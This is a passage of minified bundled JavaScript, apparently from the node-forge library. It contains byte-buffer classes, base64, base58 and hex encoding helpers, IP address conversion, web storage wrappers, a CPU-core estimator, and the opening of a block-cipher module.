Y=A<0,z=Y?"-":K.signed?"+":"";if(Y)A=-A;let w;if(K.minimumFractionDigits!==void 0)w={minimumFractionDigits:K.minimumFractionDigits};if(K.maximumFractionDigits!==void 0)w=Object.assign({maximumFractionDigits:K.maximumFractionDigits},w);if(A<1){let X=r$7(A,K.locale,w);return z+X+" "+q[0]}let H=Math.min(Math.floor(K.binary?Math.log(A)/Math.log(1024):Math.log10(A)/3),q.length-1);if(A/=Math.pow(K.binary?1024:1000,H),!w)A=A.toPrecision(3);let J=r$7(Number(A),K.locale,w),O=q[H];return z+J+" "+O}});var m3=v((q4H,s$7)=>{s$7.exports={options:{usePureJavaScript:!1}}});var A_7=v((Y4H,e$7)=>{var hD6={};e$7.exports=hD6;var t$7={};hD6.encode=function(A,K,q){if(typeof K!=="string")throw TypeError('"alphabet" must be a string.');if(q!==void 0&&typeof q!=="number")throw TypeError('"maxline" must be a number.');var Y="";if(!(A instanceof Uint8Array))Y=$NY(A,K);else{var z=0,w=K.length,H=K.charAt(0),J=[0];for(z=0;z<A.length;++z){for(var O=0,X=A[z];O<J.length;++O)X+=J[O]<<8,J[O]=X%w,X=X/w|0;while(X>0)J.push(X%w),X=X/w|0}for(z=0;A[z]===0&&z<A.length-1;++z)Y+=H;for(z=J.length-1;z>=0;--z)Y+=K[J[z]]}if(q){var $=new RegExp(".{1,"+q+"}","g");Y=Y.match($).join(`\r `)}return Y};hD6.decode=function(A,K){if(typeof A!=="string")throw TypeError('"input" must be a string.');if(typeof K!=="string")throw TypeError('"alphabet" must be a string.');var q=t$7[K];if(!q){q=t$7[K]=[];for(var Y=0;Y<K.length;++Y)q[K.charCodeAt(Y)]=Y}A=A.replace(/\s/g,"");var z=K.length,w=K.charAt(0),H=[0];for(var Y=0;Y<A.length;Y++){var J=q[A.charCodeAt(Y)];if(J===void 0)return;for(var O=0,X=J;O<H.length;++O)X+=H[O]*z,H[O]=X&255,X>>=8;while(X>0)H.push(X&255),X>>=8}for(var $=0;A[$]===w&&$<A.length-1;++$)H.push(0);if(typeof Buffer<"u")return Buffer.from(H.reverse());return new Uint8Array(H.reverse())};function $NY(A,K){var q=0,Y=K.length,z=K.charAt(0),w=[0];for(q=0;q<A.length();++q){for(var H=0,J=A.at(q);H<w.length;++H)J+=w[H]<<8,w[H]=J%Y,J=J/Y|0;while(J>0)w.push(J%Y),J=J/Y|0}var O="";for(q=0;A.at(q)===0&&q<A.length()-1;++q)O+=z;for(q=w.length-1;q>=0;--q)O+=K[w[q]];return O}});var bY=v((z4H,z_7)=>{var K_7=m3(),q_7=A_7(),n1=z_7.exports=K_7.util=K_7.util||{};(function(){if(typeof process<"u"&&process.nextTick){if(n1.nextTick=process.nextTick,typeof setImmediate==="function")n1.setImmediate=setImmediate;else n1.setImmediate=n1.nextTick;return}if(typeof setImmediate==="function"){n1.setImmediate=function(){return setImmediate.apply(void 0,arguments)},n1.nextTick=function(J){return setImmediate(J)};return}if(n1.setImmediate=function(J){setTimeout(J,0)},typeof window<"u"&&typeof window.postMessage==="function"){let J=function(O){if(O.source===window&&O.data===A){O.stopPropagation();var X=K.slice();K.length=0,X.forEach(function($){$()})}};var H=J,A="forge.setImmediate",K=[];n1.setImmediate=function(O){if(K.push(O),K.length===1)window.postMessage(A,"*")},window.addEventListener("message",J,!0)}if(typeof MutationObserver<"u"){var q=Date.now(),Y=!0,z=document.createElement("div"),K=[];new MutationObserver(function(){var O=K.slice();K.length=0,O.forEach(function(X){X()})}).observe(z,{attributes:!0});var w=n1.setImmediate;n1.setImmediate=function(O){if(Date.now()-q>15)q=Date.now(),w(O);else if(K.push(O),K.length===1)z.setAttribute("a",Y=!Y)}}n1.nextTick=n1.setImmediate})();n1.isNodejs=typeof process<"u"&&process.versions&&process.versions.node;n1.globalScope=function(){if(n1.isNodejs)return global;return typeof self>"u"?window:self}();n1.isArray=Array.isArray||function(A){return Object.prototype.toString.call(A)==="[object Array]"};n1.isArrayBuffer=function(A){return typeof ArrayBuffer<"u"&&A instanceof ArrayBuffer};n1.isArrayBufferView=function(A){return A&&n1.isArrayBuffer(A.buffer)&&A.byteLength!==void 0};function ZBA(A){if(!(A===8||A===16||A===24||A===32))throw Error("Only 8, 16, 24, or 32 bits supported: "+A)}n1.ByteBuffer=bD6;function bD6(A){if(this.data="",this.read=0,typeof A==="string")this.data=A;else if(n1.isArrayBuffer(A)||n1.isArrayBufferView(A))if(typeof Buffer<"u"&&A instanceof Buffer)this.data=A.toString("binary");else{var K=new Uint8Array(A);try{this.data=String.fromCharCode.apply(null,K)}catch(Y){for(var q=0;q<K.length;++q)this.putByte(K[q])}}else if(A instanceof bD6||typeof A==="object"&&typeof A.data==="string"&&typeof A.read==="number")this.data=A.data,this.read=A.read;this._constructedStringLength=0}n1.ByteStringBuffer=bD6;var _NY=4096;n1.ByteStringBuffer.prototype._optimizeConstructedString=function(A){if(this._constructedStringLength+=A,this._constructedStringLength>_NY)this.data.substr(0,1),this._constructedStringLength=0};n1.ByteStringBuffer.prototype.length=function(){return this.data.length-this.read};n1.ByteStringBuffer.prototype.isEmpty=function(){return this.length()<=0};n1.ByteStringBuffer.prototype.putByte=function(A){return this.putBytes(String.fromCharCode(A))};n1.ByteStringBuffer.prototype.fillWithByte=function(A,K){A=String.fromCharCode(A);var q=this.data;while(K>0){if(K&1)q+=A;if(K>>>=1,K>0)A+=A}return this.data=q,this._optimizeConstructedString(K),this};n1.ByteStringBuffer.prototype.putBytes=function(A){return this.data+=A,this._optimizeConstructedString(A.length),this};n1.ByteStringBuffer.prototype.putString=function(A){return this.putBytes(n1.encodeUtf8(A))};n1.ByteStringBuffer.prototype.putInt16=function(A){return this.putBytes(String.fromCharCode(A>>8&255)+String.fromCharCode(A&255))};n1.ByteStringBuffer.prototype.putInt24=function(A){return this.putBytes(String.fromCharCode(A>>16&255)+String.fromCharCode(A>>8&255)+String.fromCharCode(A&255))};n1.ByteStringBuffer.prototype.putInt32=function(A){return this.putBytes(String.fromCharCode(A>>24&255)+String.fromCharCode(A>>16&255)+String.fromCharCode(A>>8&255)+String.fromCharCode(A&255))};n1.ByteStringBuffer.prototype.putInt16Le=function(A){return this.putBytes(String.fromCharCode(A&255)+String.fromCharCode(A>>8&255))};n1.ByteStringBuffer.prototype.putInt24Le=function(A){return this.putBytes(String.fromCharCode(A&255)+String.fromCharCode(A>>8&255)+String.fromCharCode(A>>16&255))};n1.ByteStringBuffer.prototype.putInt32Le=function(A){return this.putBytes(String.fromCharCode(A&255)+String.fromCharCode(A>>8&255)+String.fromCharCode(A>>16&255)+String.fromCharCode(A>>24&255))};n1.ByteStringBuffer.prototype.putInt=function(A,K){ZBA(K);var q="";do K-=8,q+=String.fromCharCode(A>>K&255);while(K>0);return this.putBytes(q)};n1.ByteStringBuffer.prototype.putSignedInt=function(A,K){if(A<0)A+=2<<K-1;return this.putInt(A,K)};n1.ByteStringBuffer.prototype.putBuffer=function(A){return this.putBytes(A.getBytes())};n1.ByteStringBuffer.prototype.getByte=function(){return this.data.charCodeAt(this.read++)};n1.ByteStringBuffer.prototype.getInt16=function(){var A=this.data.charCodeAt(this.read)<<8^this.data.charCodeAt(this.read+1);return this.read+=2,A};n1.ByteStringBuffer.prototype.getInt24=function(){var A=this.data.charCodeAt(this.read)<<16^this.data.charCodeAt(this.read+1)<<8^this.data.charCodeAt(this.read+2);return this.read+=3,A};n1.ByteStringBuffer.prototype.getInt32=function(){var A=this.data.charCodeAt(this.read)<<24^this.data.charCodeAt(this.read+1)<<16^this.data.charCodeAt(this.read+2)<<8^this.data.charCodeAt(this.read+3);return this.read+=4,A};n1.ByteStringBuffer.prototype.getInt16Le=function(){var A=this.data.charCodeAt(this.read)^this.data.charCodeAt(this.read+1)<<8;return this.read+=2,A};n1.ByteStringBuffer.prototype.getInt24Le=function(){var A=this.data.charCodeAt(this.read)^this.data.charCodeAt(this.read+1)<<8^this.data.charCodeAt(this.read+2)<<16;return this.read+=3,A};n1.ByteStringBuffer.prototype.getInt32Le=function(){var A=this.data.charCodeAt(this.read)^this.data.charCodeAt(this.read+1)<<8^this.data.charCodeAt(this.read+2)<<16^this.data.charCodeAt(this.read+3)<<24;return this.read+=4,A};n1.ByteStringBuffer.prototype.getInt=function(A){ZBA(A);var K=0;do K=(K<<8)+this.data.charCodeAt(this.read++),A-=8;while(A>0);return K};n1.ByteStringBuffer.prototype.getSignedInt=function(A){var K=this.getInt(A),q=2<<A-2;if(K>=q)K-=q<<1;return K};n1.ByteStringBuffer.prototype.getBytes=function(A){var K;if(A)A=Math.min(this.length(),A),K=this.data.slice(this.read,this.read+A),this.read+=A;else if(A===0)K="";else K=this.read===0?this.data:this.data.slice(this.read),this.clear();return K};n1.ByteStringBuffer.prototype.bytes=function(A){return typeof A>"u"?this.data.slice(this.read):this.data.slice(this.read,this.read+A)};n1.ByteStringBuffer.prototype.at=function(A){return this.data.charCodeAt(this.read+A)};n1.ByteStringBuffer.prototype.setAt=function(A,K){return this.data=this.data.substr(0,this.read+A)+String.fromCharCode(K)+this.data.substr(this.read+A+1),this};n1.ByteStringBuffer.prototype.last=function(){return this.data.charCodeAt(this.data.length-1)};n1.ByteStringBuffer.prototype.copy=function(){var A=n1.createBuffer(this.data);return A.read=this.read,A};n1.ByteStringBuffer.prototype.compact=function(){if(this.read>0)this.data=this.data.slice(this.read),this.read=0;return this};n1.ByteStringBuffer.prototype.clear=function(){return this.data="",this.read=0,this};n1.ByteStringBuffer.prototype.truncate=function(A){var K=Math.max(0,this.length()-A);return this.data=this.data.substr(this.read,K),this.read=0,this};n1.ByteStringBuffer.prototype.toHex=function(){var A="";for(var K=this.read;K<this.data.length;++K){var q=this.data.charCodeAt(K);if(q<16)A+="0";A+=q.toString(16)}return A};n1.ByteStringBuffer.prototype.toString=function(){return n1.decodeUtf8(this.bytes())};function GNY(A,K){K=K||{},this.read=K.readOffset||0,this.growSize=K.growSize||1024;var q=n1.isArrayBuffer(A),Y=n1.isArrayBufferView(A);if(q||Y){if(q)this.data=new DataView(A);else this.data=new DataView(A.buffer,A.byteOffset,A.byteLength);this.write="writeOffset"in K?K.writeOffset:this.data.byteLength;return}if(this.data=new DataView(new ArrayBuffer(0)),this.write=0,A!==null&&A!==void 0)this.putBytes(A);if("writeOffset"in K)this.write=K.writeOffset}n1.DataBuffer=GNY;n1.DataBuffer.prototype.length=function(){return this.write-this.read};n1.DataBuffer.prototype.isEmpty=function(){return this.length()<=0};n1.DataBuffer.prototype.accommodate=function(A,K){if(this.length()>=A)return this;K=Math.max(K||this.growSize,A);var q=new Uint8Array(this.data.buffer,this.data.byteOffset,this.data.byteLength),Y=new Uint8Array(this.length()+K);return Y.set(q),this.data=new DataView(Y.buffer),this};n1.DataBuffer.prototype.putByte=function(A){return this.accommodate(1),this.data.setUint8(this.write++,A),this};n1.DataBuffer.prototype.fillWithByte=function(A,K){this.accommodate(K);for(var q=0;q<K;++q)this.data.setUint8(A);return this};n1.DataBuffer.prototype.putBytes=function(A,K){if(n1.isArrayBufferView(A)){var q=new Uint8Array(A.buffer,A.byteOffset,A.byteLength),Y=q.byteLength-q.byteOffset;this.accommodate(Y);var z=new Uint8Array(this.data.buffer,this.write);return z.set(q),this.write+=Y,this}if(n1.isArrayBuffer(A)){var q=new Uint8Array(A);this.accommodate(q.byteLength);var z=new Uint8Array(this.data.buffer);return z.set(q,this.write),this.write+=q.byteLength,this}if(A instanceof n1.DataBuffer||typeof A==="object"&&typeof A.read==="number"&&typeof A.write==="number"&&n1.isArrayBufferView(A.data)){var q=new Uint8Array(A.data.byteLength,A.read,A.length());this.accommodate(q.byteLength);var z=new Uint8Array(A.data.byteLength,this.write);return z.set(q),this.write+=q.byteLength,this}if(A instanceof n1.ByteStringBuffer)A=A.data,K="binary";if(K=K||"binary",typeof A==="string"){var w;if(K==="hex")return this.accommodate(Math.ceil(A.length/2)),w=new Uint8Array(this.data.buffer,this.write),this.write+=n1.binary.hex.decode(A,w,this.write),this;if(K==="base64")return this.accommodate(Math.ceil(A.length/4)*3),w=new Uint8Array(this.data.buffer,this.write),this.write+=n1.binary.base64.decode(A,w,this.write),this;if(K==="utf8")A=n1.encodeUtf8(A),K="binary";if(K==="binary"||K==="raw")return this.accommodate(A.length),w=new Uint8Array(this.data.buffer,this.write),this.write+=n1.binary.raw.decode(w),this;if(K==="utf16")return this.accommodate(A.length*2),w=new Uint16Array(this.data.buffer,this.write),this.write+=n1.text.utf16.encode(w),this;throw Error("Invalid encoding: "+K)}throw Error("Invalid parameter: "+A)};n1.DataBuffer.prototype.putBuffer=function(A){return this.putBytes(A),A.clear(),this};n1.DataBuffer.prototype.putString=function(A){return this.putBytes(A,"utf16")};n1.DataBuffer.prototype.putInt16=function(A){return this.accommodate(2),this.data.setInt16(this.write,A),this.write+=2,this};n1.DataBuffer.prototype.putInt24=function(A){return this.accommodate(3),this.data.setInt16(this.write,A>>8&65535),this.data.setInt8(this.write,A>>16&255),this.write+=3,this};n1.DataBuffer.prototype.putInt32=function(A){return this.accommodate(4),this.data.setInt32(this.write,A),this.write+=4,this};n1.DataBuffer.prototype.putInt16Le=function(A){return this.accommodate(2),this.data.setInt16(this.write,A,!0),this.write+=2,this};n1.DataBuffer.prototype.putInt24Le=function(A){return this.accommodate(3),this.data.setInt8(this.write,A>>16&255),this.data.setInt16(this.write,A>>8&65535,!0),this.write+=3,this};n1.DataBuffer.prototype.putInt32Le=function(A){return this.accommodate(4),this.data.setInt32(this.write,A,!0),this.write+=4,this};n1.DataBuffer.prototype.putInt=function(A,K){ZBA(K),this.accommodate(K/8);do K-=8,this.data.setInt8(this.write++,A>>K&255);while(K>0);return this};n1.DataBuffer.prototype.putSignedInt=function(A,K){if(ZBA(K),this.accommodate(K/8),A<0)A+=2<<K-1;return this.putInt(A,K)};n1.DataBuffer.prototype.getByte=function(){return this.data.getInt8(this.read++)};n1.DataBuffer.prototype.getInt16=function(){var A=this.data.getInt16(this.read);return this.read+=2,A};n1.DataBuffer.prototype.getInt24=function(){var A=this.data.getInt16(this.read)<<8^this.data.getInt8(this.read+2);return this.read+=3,A};n1.DataBuffer.prototype.getInt32=function(){var A=this.data.getInt32(this.read);return this.read+=4,A};n1.DataBuffer.prototype.getInt16Le=function(){var A=this.data.getInt16(this.read,!0);return this.read+=2,A};n1.DataBuffer.prototype.getInt24Le=function(){var A=this.data.getInt8(this.read)^this.data.getInt16(this.read+1,!0)<<8;return this.read+=3,A};n1.DataBuffer.prototype.getInt32Le=function(){var A=this.data.getInt32(this.read,!0);return this.read+=4,A};n1.DataBuffer.prototype.getInt=function(A){ZBA(A);var K=0;do K=(K<<8)+this.data.getInt8(this.read++),A-=8;while(A>0);return K};n1.DataBuffer.prototype.getSignedInt=function(A){var K=this.getInt(A),q=2<<A-2;if(K>=q)K-=q<<1;return K};n1.DataBuffer.prototype.getBytes=function(A){var K;if(A)A=Math.min(this.length(),A),K=this.data.slice(this.read,this.read+A),this.read+=A;else if(A===0)K="";else K=this.read===0?this.data:this.data.slice(this.read),this.clear();return K};n1.DataBuffer.prototype.bytes=function(A){return typeof A>"u"?this.data.slice(this.read):this.data.slice(this.read,this.read+A)};n1.DataBuffer.prototype.at=function(A){return this.data.getUint8(this.read+A)};n1.DataBuffer.prototype.setAt=function(A,K){return this.data.setUint8(A,K),this};n1.DataBuffer.prototype.last=function(){return this.data.getUint8(this.write-1)};n1.DataBuffer.prototype.copy=function(){return new n1.DataBuffer(this)};n1.DataBuffer.prototype.compact=function(){if(this.read>0){var A=new Uint8Array(this.data.buffer,this.read),K=new Uint8Array(A.byteLength);K.set(A),this.data=new DataView(K),this.write-=this.read,this.read=0}return this};n1.DataBuffer.prototype.clear=function(){return this.data=new DataView(new ArrayBuffer(0)),this.read=this.write=0,this};n1.DataBuffer.prototype.truncate=function(A){return this.write=Math.max(0,this.length()-A),this.read=Math.min(this.read,this.write),this};n1.DataBuffer.prototype.toHex=function(){var A="";for(var K=this.read;K<this.data.byteLength;++K){var q=this.data.getUint8(K);if(q<16)A+="0";A+=q.toString(16)}return A};n1.DataBuffer.prototype.toString=function(A){var K=new Uint8Array(this.data,this.read,this.length());if(A=A||"utf8",A==="binary"||A==="raw")return n1.binary.raw.encode(K);if(A==="hex")return n1.binary.hex.encode(K);if(A==="base64")return n1.binary.base64.encode(K);if(A==="utf8")return n1.text.utf8.decode(K);if(A==="utf16")return n1.text.utf16.decode(K);throw Error("Invalid encoding: "+A)};n1.createBuffer=function(A,K){if(K=K||"raw",A!==void 0&&K==="utf8")A=n1.encodeUtf8(A);return new n1.ByteBuffer(A)};n1.fillString=function(A,K){var q="";while(K>0){if(K&1)q+=A;if(K>>>=1,K>0)A+=A}return q};n1.xorBytes=function(A,K,q){var Y="",z="",w="",H=0,J=0;for(;q>0;--q,++H){if(z=A.charCodeAt(H)^K.charCodeAt(H),J>=10)Y+=w,w="",J=0;w+=String.fromCharCode(z),++J}return Y+=w,Y};n1.hexToBytes=function(A){var K="",q=0;if(A.length&!0)q=1,K+=String.fromCharCode(parseInt(A[0],16));for(;q<A.length;q+=2)K+=String.fromCharCode(parseInt(A.substr(q,2),16));return K};n1.bytesToHex=function(A){return n1.createBuffer(A).toHex()};n1.int32ToBytes=function(A){return String.fromCharCode(A>>24&255)+String.fromCharCode(A>>16&255)+String.fromCharCode(A>>8&255)+String.fromCharCode(A&255)};var Ia="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",Sa=[62,-1,-1,-1,63,52,53,54,55,56,57,58,59,60,61,-1,-1,-1,64,-1,-1,-1,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,-1,-1,-1,-1,-1,-1,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51],Y_7="123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz";n1.encode64=function(A,K){var q="",Y="",z,w,H,J=0;while(J<A.length){if(z=A.charCodeAt(J++),w=A.charCodeAt(J++),H=A.charCodeAt(J++),q+=Ia.charAt(z>>2),q+=Ia.charAt((z&3)<<4|w>>4),isNaN(w))q+="==";else q+=Ia.charAt((w&15)<<2|H>>6),q+=isNaN(H)?"=":Ia.charAt(H&63);if(K&&q.length>K)Y+=q.substr(0,K)+`\r `,q=q.substr(K)}return Y+=q,Y};n1.decode64=function(A){A=A.replace(/[^A-Za-z0-9\+\/\=]/g,"");var K="",q,Y,z,w,H=0;while(H<A.length)if(q=Sa[A.charCodeAt(H++)-43],Y=Sa[A.charCodeAt(H++)-43],z=Sa[A.charCodeAt(H++)-43],w=Sa[A.charCodeAt(H++)-43],K+=String.fromCharCode(q<<2|Y>>4),z!==64){if(K+=String.fromCharCode((Y&15)<<4|z>>2),w!==64)K+=String.fromCharCode((z&3)<<6|w)}return K};n1.encodeUtf8=function(A){return unescape(encodeURIComponent(A))};n1.decodeUtf8=function(A){return decodeURIComponent(escape(A))};n1.binary={raw:{},hex:{},base64:{},base58:{},baseN:{encode:q_7.encode,decode:q_7.decode}};n1.binary.raw.encode=function(A){return String.fromCharCode.apply(null,A)};n1.binary.raw.decode=function(A,K,q){var Y=K;if(!Y)Y=new Uint8Array(A.length);q=q||0;var z=q;for(var w=0;w<A.length;++w)Y[z++]=A.charCodeAt(w);return K?z-q:Y};n1.binary.hex.encode=n1.bytesToHex;n1.binary.hex.decode=function(A,K,q){var Y=K;if(!Y)Y=new Uint8Array(Math.ceil(A.length/2));q=q||0;var z=0,w=q;if(A.length&1)z=1,Y[w++]=parseInt(A[0],16);for(;z<A.length;z+=2)Y[w++]=parseInt(A.substr(z,2),16);return K?w-q:Y};n1.binary.base64.encode=function(A,K){var q="",Y="",z,w,H,J=0;while(J<A.byteLength){if(z=A[J++],w=A[J++],H=A[J++],q+=Ia.charAt(z>>2),q+=Ia.charAt((z&3)<<4|w>>4),isNaN(w))q+="==";else q+=Ia.charAt((w&15)<<2|H>>6),q+=isNaN(H)?"=":Ia.charAt(H&63);if(K&&q.length>K)Y+=q.substr(0,K)+`\r `,q=q.substr(K)}return Y+=q,Y};n1.binary.base64.decode=function(A,K,q){var Y=K;if(!Y)Y=new Uint8Array(Math.ceil(A.length/4)*3);A=A.replace(/[^A-Za-z0-9\+\/\=]/g,""),q=q||0;var z,w,H,J,O=0,X=q;while(O<A.length)if(z=Sa[A.charCodeAt(O++)-43],w=Sa[A.charCodeAt(O++)-43],H=Sa[A.charCodeAt(O++)-43],J=Sa[A.charCodeAt(O++)-43],Y[X++]=z<<2|w>>4,H!==64){if(Y[X++]=(w&15)<<4|H>>2,J!==64)Y[X++]=(H&3)<<6|J}return K?X-q:Y.subarray(0,X)};n1.binary.base58.encode=function(A,K){return n1.binary.baseN.encode(A,Y_7,K)};n1.binary.base58.decode=function(A,K){return n1.binary.baseN.decode(A,Y_7,K)};n1.text={utf8:{},utf16:{}};n1.text.utf8.encode=function(A,K,q){A=n1.encodeUtf8(A);var Y=K;if(!Y)Y=new Uint8Array(A.length);q=q||0;var z=q;for(var w=0;w<A.length;++w)Y[z++]=A.charCodeAt(w);return K?z-q:Y};n1.text.utf8.decode=function(A){return n1.decodeUtf8(String.fromCharCode.apply(null,A))};n1.text.utf16.encode=function(A,K,q){var Y=K;if(!Y)Y=new Uint8Array(A.length*2);var z=new Uint16Array(Y.buffer);q=q||0;var w=q,H=q;for(var J=0;J<A.length;++J)z[H++]=A.charCodeAt(J),w+=2;return K?w-q:Y};n1.text.utf16.decode=function(A){return String.fromCharCode.apply(null,new Uint16Array(A.buffer))};n1.deflate=function(A,K,q){if(K=n1.decode64(A.deflate(n1.encode64(K)).rval),q){var Y=2,z=K.charCodeAt(1);if(z&32)Y=6;K=K.substring(Y,K.length-4)}return K};n1.inflate=function(A,K,q){var Y=A.inflate(n1.encode64(K)).rval;return Y===null?null:n1.decode64(Y)};var xD6=function(A,K,q){if(!A)throw Error("WebStorage not available.");var Y;if(q===null)Y=A.removeItem(K);else q=n1.encode64(JSON.stringify(q)),Y=A.setItem(K,q);if(typeof Y<"u"&&Y.rval!==!0){var z=Error(Y.error.message);throw z.id=Y.error.id,z.name=Y.error.name,z}},uD6=function(A,K){if(!A)throw Error("WebStorage not available.");var q=A.getItem(K);if(A.init)if(q.rval===null){if(q.error){var Y=Error(q.error.message);throw Y.id=q.error.id,Y.name=q.error.name,Y}q=null}else q=q.rval;if(q!==null)q=JSON.parse(n1.decode64(q));return q},ZNY=function(A,K,q,Y){var z=uD6(A,K);if(z===null)z={};z[q]=Y,xD6(A,K,z)},WNY=function(A,K,q){var Y=uD6(A,K);if(Y!==null)Y=q in Y?Y[q]:null;return Y},DNY=function(A,K,q){var Y=uD6(A,K);if(Y!==null&&q in Y){delete Y[q];var z=!0;for(var w in Y){z=!1;break}if(z)Y=null;xD6(A,K,Y)}},jNY=function(A,K){xD6(A,K,null)},BX1=function(A,K,q){var Y=null;if(typeof q>"u")q=["web","flash"];var z,w=!1,H=null;for(var J in q){z=q[J];try{if(z==="flash"||z==="both"){if(K[0]===null)throw Error("Flash local storage not available.");Y=A.apply(this,K),w=z==="flash"}if(z==="web"||z==="both")K[0]=localStorage,Y=A.apply(this,K),w=!0}catch(O){H=O}if(w)break}if(!w)throw H;return Y};n1.setItem=function(A,K,q,Y,z){BX1(ZNY,arguments,z)};n1.getItem=function(A,K,q,Y){return BX1(WNY,arguments,Y)};n1.removeItem=function(A,K,q,Y){BX1(DNY,arguments,Y)};n1.clearItems=function(A,K,q){BX1(jNY,arguments,q)};n1.isEmpty=function(A){for(var K in A)if(A.hasOwnProperty(K))return!1;return!0};n1.format=function(A){var K=/%./g,q,Y,z=0,w=[],H=0;while(q=K.exec(A)){if(Y=A.substring(H,K.lastIndex-2),Y.length>0)w.push(Y);H=K.lastIndex;var J=q[0][1];switch(J){case"s":case"o":if(z<arguments.length)w.push(arguments[z+++1]);else w.push("<?>");break;case"%":w.push("%");break;default:w.push("<%"+J+"?>")}}return w.push(A.substring(H)),w.join("")};n1.formatNumber=function(A,K,q,Y){var z=A,w=isNaN(K=Math.abs(K))?2:K,H=q===void 0?",":q,J=Y===void 0?".":Y,O=z<0?"-":"",X=parseInt(z=Math.abs(+z||0).toFixed(w),10)+"",$=X.length>3?X.length%3:0;return O+($?X.substr(0,$)+J:"")+X.substr($).replace(/(\d{3})(?=\d)/g,"$1"+J)+(w?H+Math.abs(z-X).toFixed(w).slice(2):"")};n1.formatSize=function(A){if(A>=1073741824)A=n1.formatNumber(A/1073741824,2,".","")+" GiB";else if(A>=1048576)A=n1.formatNumber(A/1048576,2,".","")+" MiB";else if(A>=1024)A=n1.formatNumber(A/1024,0)+" KiB";else A=n1.formatNumber(A,0)+" bytes";return A};n1.bytesFromIP=function(A){if(A.indexOf(".")!==-1)return n1.bytesFromIPv4(A);if(A.indexOf(":")!==-1)return n1.bytesFromIPv6(A);return null};n1.bytesFromIPv4=function(A){if(A=A.split("."),A.length!==4)return null;var K=n1.createBuffer();for(var q=0;q<A.length;++q){var Y=parseInt(A[q],10);if(isNaN(Y))return null;K.putByte(Y)}return K.getBytes()};n1.bytesFromIPv6=function(A){var K=0;A=A.split(":").filter(function(H){if(H.length===0)++K;return!0});var q=(8-A.length+K)*2,Y=n1.createBuffer();for(var z=0;z<8;++z){if(!A[z]||A[z].length===0){Y.fillWithByte(0,q),q=0;continue}var w=n1.hexToBytes(A[z]);if(w.length<2)Y.putByte(0);Y.putBytes(w)}return Y.getBytes()};n1.bytesToIP=function(A){if(A.length===4)return n1.bytesToIPv4(A);if(A.length===16)return n1.bytesToIPv6(A);return null};n1.bytesToIPv4=function(A){if(A.length!==4)return null;var K=[];for(var q=0;q<A.length;++q)K.push(A.charCodeAt(q));return K.join(".")};n1.bytesToIPv6=function(A){if(A.length!==16)return null;var K=[],q=[],Y=0;for(var z=0;z<A.length;z+=2){var w=n1.bytesToHex(A[z]+A[z+1]);while(w[0]==="0"&&w!=="0")w=w.substr(1);if(w==="0"){var H=q[q.length-1],J=K.length;if(!H||J!==H.end+1)q.push({start:J,end:J});else if(H.end=J,H.end-H.start>q[Y].end-q[Y].start)Y=q.length-1}K.push(w)}if(q.length>0){var O=q[Y];if(O.end-O.start>0){if(K.splice(O.start,O.end-O.start+1,""),O.start===0)K.unshift("");if(O.end===7)K.push("")}}return K.join(":")};n1.estimateCores=function(A,K){if(typeof A==="function")K=A,A={};if(A=A||{},"cores"in n1&&!A.update)return K(null,n1.cores);if(typeof navigator<"u"&&"hardwareConcurrency"in navigator&&navigator.hardwareConcurrency>0)return n1.cores=navigator.hardwareConcurrency,K(null,n1.cores);if(typeof Worker>"u")return n1.cores=1,K(null,n1.cores);if(typeof Blob>"u")return n1.cores=2,K(null,n1.cores);var q=URL.createObjectURL(new Blob(["(",function(){self.addEventListener("message",function(H){var J=Date.now(),O=J+4;while(Date.now()<O);self.postMessage({st:J,et:O})})}.toString(),")()"],{type:"application/javascript"}));Y([],5,16);function Y(H,J,O){if(J===0){var X=Math.floor(H.reduce(function($,_){return $+_},0)/H.length);return n1.cores=Math.max(1,X),URL.revokeObjectURL(q),K(null,n1.cores)}z(O,function($,_){H.push(w(O,_)),Y(H,J-1,O)})}function z(H,J){var O=[],X=[];for(var $=0;$<H;++$){var _=new Worker(q);_.addEventListener("message",function(G){if(X.push(G.data),X.length===H){for(var Z=0;Z<H;++Z)O[Z].terminate();J(null,X)}}),O.push(_)}for(var $=0;$<H;++$)O[$].postMessage($)}function w(H,J){var O=[];for(var X=0;X<H;++X){var $=J[X],_=O[X]=[];for(var G=0;G<H;++G){if(X===G)continue;var Z=J[G];if($.st>Z.st&&$.st<Z.et||Z.st>$.st&&Z.st<$.et)_.push(G)}}return O.reduce(function(W,D){return Math.max(W,D.length)},0)}}});var mX1=v((w4H,w_7)=>{var CG=m3();bY();w_7.exports=CG.cipher=CG.cipher||{};CG.cipher.algorithms=CG.cipher.algorithms||{};CG.cipher.createCipher=function(A,K){var q=A;if(typeof q==="string"){if(q=CG.cipher.getAlgorithm(q),q)q=q()}if(!q)throw Error("Unsupported algorithm: "+A);return new CG.cipher.BlockCipher({algorithm:q,key:K,decrypt:!1})};CG.cipher.createDecipher=function(A,K){var q=A;if(typeof q==="string"){if(q=CG.cipher.getAlgorithm(q),q)q=q()}if(!q)throw Error("Unsupported algorithm: "+A);return new CG.cipher.BlockCipher({algorithm:q,key:K,decrypt:!0})};CG.cipher.registerAlgorithm=function(A,K){A=A.toUpperCase(),CG.cipher.algorithms[A]=K};CG.cipher.getAlgorithm=function(A){if(A=A.toUpperCase(),A in CG.cipher.algorithms)return CG.cipher.algorithms[A];return null};var BD6=CG.cipher.BlockCipher=function(A){this.algorithm=A.algorithm,this.mode=this.algorithm.mode,this.blockSize=this.mode.blockSize,this._finish=!1,this._input=null,this.output=null,this._op=A.decrypt?this.mode.decrypt:this.mode.encrypt,this._decrypt=A.decrypt,this.algorithm.initialize(A)};BD6.prototype.start=function(A){A=A||{};var K={};for(var q in A)K[q]=A[q];K.decrypt=this._decrypt,this._finish=!1,this._input=CG.util.createBuffer(),this.output=A.output||CG.util.createBuffer(),this.mode.start(K)};BD6.prototype.update=function(A){if(A)this._input.putBuffer(A);while(!this._op.call(this.mode,this._input,this.output,this._finish)&&!this._finish);this._input.compact()};BD6.prototype.finish=function(A){if(A&&(this.mode.name==="ECB"||this.mode.name==="CBC"))this.mode.pad=function(q){return A(this.blockSize,q,!1)},this.mode.unpad=function(q){return A(this.blockSize,q,!0)};var 